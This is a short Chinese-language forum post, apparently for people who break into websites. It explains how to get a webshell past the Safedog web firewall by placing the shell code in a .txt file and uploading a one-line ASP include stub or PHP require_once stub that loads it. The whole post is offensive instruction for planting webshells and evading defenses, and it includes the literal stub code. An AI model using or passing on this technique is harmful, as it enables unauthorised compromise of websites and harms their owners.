很多拿站的朋友,都知道大馬很多都會被安全狗攔截,最近一個大牛給我一個方法,竟然成功,所以分享下這個方法。
將大馬寫到一個txt文件里面,命名為dama.txt,再建一個文本文檔,asp的就寫入:<!–#include file=”dama.txt”–> ,保存為X.asp,兩個文件傳同目錄下,訪問url/x.asp就是我們的大馬了。就這樣無視安全狗的存在拿下了我們想要的webshell
php的同樣的原理,dama.txt,php文件寫入:<?php require_once (“dama.txt”); ?> ,這樣就可以繞過安全狗了。
